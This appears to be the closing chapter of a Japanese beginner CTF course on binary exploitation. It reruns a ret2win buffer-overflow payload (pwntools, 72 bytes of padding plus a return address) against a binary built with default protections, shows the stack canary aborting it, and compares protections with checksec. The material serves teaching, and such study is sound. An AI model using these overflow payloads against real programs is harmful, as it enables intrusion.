コース目次 / 第3章
まとめ — 保護は、何を防いでいたか
同じ入力を、デフォルトの保護付きでビルドした場合と比較し、スタックカナリアがオーバーフローを検知してプロセスを強制終了することを確認します。pwnカテゴリの要点を畳み、次のカテゴリへ送り出します。
第1章で、-fno-stack-protector -no-pieを付けてビルドしました。これを付けなかったら、どうなるでしょうか。
デフォルトのビルドで、同じ攻撃を試す
gcc -o vuln_protected vuln.c
python3 -c "
from pwn import *
p = process('./vuln_protected')
p.recvuntil(b': ')
p.sendline(b'A'*72 + p64(0x401196))
print(p.recvall(timeout=2).decode(errors='replace'))
"
こんにちは、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...さん
*** stack smashing detected ***: terminated
flagは出ませんでした。*** stack smashing detected ***——スタックカナリアが、リターンアドレスの直前に置いた「番人の値」が書き換えられたことを検知し、リターンする前にプロセスを強制終了しました。第1章で外した-fno-stack-protectorが、まさにこの番人を無効化していたのです。
checksecで、保護の違いを見る
python3 -c "
from pwn import *
context.log_level = 'error'
print('--- vuln(保護を無効化) ---')
print(ELF('./vuln', checksec=False).checksec())
print('--- vuln_protected(デフォルト) ---')
print(ELF('./vuln_protected', checksec=False).checksec())
"
| 保護 | vuln(無効化) | vuln_protected(デフォルト) | 防ぐもの |
|---|---|---|---|
| Stack Canary | なし | あり | リターンアドレス書き換えの検知 |
| NX | 無効(実行可能スタック) | 有効 | スタック上のコード実行 |
| PIE | 無効(固定アドレス) | 有効 | アドレスの事前計算 |
現代のデフォルトビルドは、すでに何重にも保護されています。今回のret2winが成立したのは、脆弱な関数(gets)を使ったことに加えて、保護を意図的に3つとも外したからです。実際の脆弱性調査では、対象のバイナリがどの保護を有効にしているかをchecksecで最初に確認する——これが実務での第一歩です。
このコースで扱わなかったこと
NXが有効だと、スタック上に置いたコード(シェルコード)は実行できません。それを回避するROPチェーン(既存のコード断片をつなぎ合わせて任意の処理を組み立てる技術)は、より高度な武器化技術であり、このコースの範囲外です。今回学んだ「リターンアドレスは書き換えられる」という基礎は、その先に進むための土台です。
次の道
好きな順で、次のカテゴリに進んでください。forensics(残されたデータを掘る)、misc(檻を破る)——どちらも ctf-intro の後に置かれています。法と倫理の一線は、この先も同じです。
お疲れさまでした。「保護されているはず」という言葉も、確かめる目を持ちました。
こうなっていればOK
この章で卒業です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。